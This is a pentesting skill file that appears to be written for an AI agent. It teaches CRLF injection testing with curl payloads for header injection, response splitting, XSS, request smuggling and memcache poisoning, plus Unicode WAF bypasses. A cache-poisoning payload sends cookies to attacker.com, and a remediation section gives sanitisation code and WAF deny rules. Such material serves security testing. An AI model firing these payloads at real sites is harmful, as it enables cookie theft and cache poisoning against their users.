Hacktricks-skills crlf-injection-pentest

How to test for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. Use this skill whenever you need to assess HTTP header injection, response splitting, or newline-based bypasses during web security testing. Trigger this skill when the user mentions CRLF, HTTP header injection, response splitting, newline injection, URL encoding attacks, or any scenario involving user input reflected in HTTP headers. Also use when testing for XSS via header injection, cache poisoning, or SSRF through HTTP request smuggling.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/crlf-0d-0a/SKILL.MD
source content

CRLF Injection Pentesting Skill

This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (

%0D
or
\r
) and LF (
%0A
or
\n
) characters is reflected in HTTP headers without proper sanitization.

When to Use This Skill

Use this skill when:

  • Testing web applications for HTTP header injection vulnerabilities
  • Investigating potential response splitting attacks
  • Assessing XSS vectors through header manipulation
  • Testing for cache poisoning or request smuggling via CRLF
  • Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
  • Bypassing WAFs using Unicode newline variants
  • Reviewing code that sets HTTP headers from user input

Understanding CRLF Injection

What is CRLF?

  • CR (Carriage Return):
    %0D
    or
    \r
    - moves cursor to beginning of line
  • LF (Line Feed):
    %0A
    or
    \n
    - moves cursor to next line
  • CRLF:
    %0D%0A
    or
    \r\n
    - standard HTTP line terminator

HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:

  1. Terminate the current header early
  2. Inject new headers
  3. Inject response body content
  4. Split responses entirely

Attack Vectors

VectorImpactExample
Response SplittingXSS, Cache PoisoningInject headers + body
Header InjectionCookie planting, CORS bypassAdd
Set-Cookie
,
Access-Control-Allow-Origin
Open RedirectPhishingInject
Location:
header
Request SmugglingBypass WAF, SSRFInject second HTTP request
Log PoisoningCover tracksFake log entries
Memcache PoisoningSession hijackingInject memcache commands

Testing Methodology

Step 1: Identify Reflection Points

Find where user input appears in HTTP responses:

# Check for reflected parameters in headers
curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test"

# Look for redirect parameters
curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location"

# Check custom headers
curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"

Common vulnerable parameters:

  • redirect
    ,
    return_url
    ,
    next
    ,
    goto
    ,
    url
    ,
    dest
  • callback
    ,
    origin
    ,
    referer
  • user_agent
    ,
    host
    ,
    x-forwarded-*
  • cookie
    ,
    session
    ,
    token
  • page
    ,
    action
    ,
    module
    ,
    view

Step 2: Basic CRLF Testing

Test if CRLF characters are reflected:

# Basic CRLF test
curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected"

# Check response headers for injection
curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Test with URL-encoded CRLF
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"

What to look for:

  • New headers appearing in response
  • Response body starting earlier than expected
  • Multiple
    Location:
    headers
  • Unexpected cookies being set

Step 3: Response Splitting Tests

Test for HTTP response splitting:

# Inject new header
curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious"

# Inject cookie
curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true"

# Full response split with XSS
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"

Step 4: Advanced Payloads

Use the payload generator script for comprehensive testing:

# Generate all CRLF payloads
python scripts/generate_crlf_payloads.py > crlf_payloads.txt

# Test specific payload
curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"

Step 5: WAF Bypass Techniques

If basic CRLF is filtered, try Unicode variants:

# Unicode line separators (often not filtered)
curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected"  # U+2028 LINE SEPARATOR
curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected"  # U+2029 PARAGRAPH SEPARATOR
curl -v "http://target.com/page?input=test%C2%85Header-Test:injected"    # U+0085 NEXT LINE

# Double encoding
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"

# Mixed case
curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected"

# Alternative encoding
curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"

Step 6: Verify Vulnerability

Confirm the injection worked:

# Check for injected cookie
http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Check for new header
http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected"

# Check response body manipulation
http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"

Common Attack Scenarios

1. XSS via Response Splitting

# Basic XSS payload
curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>"

# With Content-Encoding bypass
curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"

2. Open Redirect + CRLF

# Inject Location header
curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true"

# Chained with path traversal
curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"

3. Cache Poisoning

# Poison cache with malicious response
curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"

4. Request Smuggling

# Inject second request
curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"

5. Memcache Poisoning

# Inject memcache commands (if backend uses memcache)
curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"

Payload Reference

Basic CRLF Payloads

PurposePayload
Header injection
%0D%0AHeader-Name:value
Cookie injection
%0D%0ASet-Cookie:admin=true
Response split
%0D%0A%0D%0A
XSS via split
%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>
Open redirect
%0D%0ALocation:http://evil.com

Unicode Bypass Payloads

CharacterUnicodeURL EncodedPurpose
LINE SEPARATORU+2028
%E2%80%A8
Bypass WAF
PARAGRAPH SEPARATORU+2029
%E2%80%A9
Bypass WAF
NEXT LINEU+0085
%C2%85
Bypass WAF
LF (alt)U+560A
%E5%98%8A
Double encoding
CR (alt)U+560D
%E5%98%8D
Double encoding

Filter Bypass Combinations

# Unicode + CRLF
%E2%80%A8%E2%80%A9Set-Cookie:test

# Double encoding
%250D%250ASet-Cookie:test

# Mixed encoding
%E5%98%8A%E5%98%8DSet-Cookie:test

# With Content-Encoding bypass
%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A

Automated Testing

Using curl for batch testing

#!/bin/bash
# Test multiple endpoints for CRLF

ENDPOINTS=(
  "http://target.com/page?input="
  "http://target.com/redirect?url="
  "http://target.com/api?callback="
)

PAYLOADS=(
  "%0D%0ASet-Cookie:injected=true"
  "%0D%0AX-Injected:malicious"
  "%0D%0A%0D%0A<script>alert(1)</script>"
  "%E2%80%A8Set-Cookie:injected=true"
)

for endpoint in "${ENDPOINTS[@]}"; do
  for payload in "${PAYLOADS[@]}"; do
    echo "Testing: $endpoint$payload"
    curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]"
  done
done

Using the payload generator

# Generate comprehensive payload list
python scripts/generate_crlf_payloads.py --all > payloads.txt

# Test with httpie
while read payload; do
  http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload"
done < payloads.txt

Verification Checklist

After detecting potential CRLF injection:

  • Confirm new headers appear in response
  • Verify cookies can be injected
  • Test if response body can be manipulated
  • Check if XSS payload executes in browser
  • Verify cache poisoning works (test from different IPs)
  • Test request smuggling if applicable
  • Document all working payloads
  • Assess impact (XSS, SSRF, session hijacking, etc.)

Remediation Guidance

For Developers

  1. Never reflect user input in headers

    # BAD
    response.headers['X-Custom'] = user_input
    
    # GOOD
    response.headers['X-Custom'] = 'static-value'
    
  2. Validate and sanitize input

    # Python example
    import re
    
    def sanitize_header_value(value):
        # Remove CR, LF, and Unicode variants
        return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value)
    
  3. Use framework protections

    • Django:
      HttpResponse
      automatically sanitizes headers
    • Express: Use
      helmet
      middleware
    • Spring: Use
      HttpServletResponse
      with validation
  4. Implement allowlists

    ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org']
    
    def safe_redirect(url):
        if url in ALLOWED_REDIRECTS:
            return redirect(url)
        return redirect('/')
    
  5. Update dependencies

    • RestSharp: ≥110.2.0 (CVE-2024-45302)
    • Refit: >7.2.101 (CVE-2024-51501)
    • Apache APISIX Dashboard: patched version

For Security Teams

  1. WAF Rules

    # Block CRLF in request
    if ($request ~* "%(0d|0a|13|0a)") {
        return 403;
    }
    
    # Block Unicode variants
    if ($request ~* "%(e2%80%a[89]|c2%85)") {
        return 403;
    }
    
  2. Monitoring

    • Alert on CRLF patterns in logs
    • Monitor for unusual header patterns
    • Track response splitting attempts
  3. Testing

    • Include CRLF tests in CI/CD pipeline
    • Regular penetration testing
    • Bug bounty program with CRLF scope

Tools

ToolPurposeLink
CRLFsuiteActive scannerhttps://github.com/Raghavd3v/CRLFsuite
crlfuzzWordlist fuzzerhttps://github.com/dwisiswant0/crlfuzz
crlfixGo request patcherhttps://github.com/glebarez/crlfix
Auto_WordlistsCRLF wordlisthttps://github.com/carlospolop/Auto_Wordlists

References

Quick Start

# 1. Generate payloads
python scripts/generate_crlf_payloads.py > payloads.txt

# 2. Test target
curl -v "http://target.com/page?input=$(head -1 payloads.txt)"

# 3. Check for injection
curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected

# 4. If vulnerable, test impact
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"

Notes

  • CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
  • Modern frameworks often have built-in protections, but custom code is frequently vulnerable
  • Unicode bypasses are increasingly important as WAFs improve
  • Always test from multiple angles (URL parameters, headers, cookies, POST data)
  • Document findings with proof-of-concept for remediation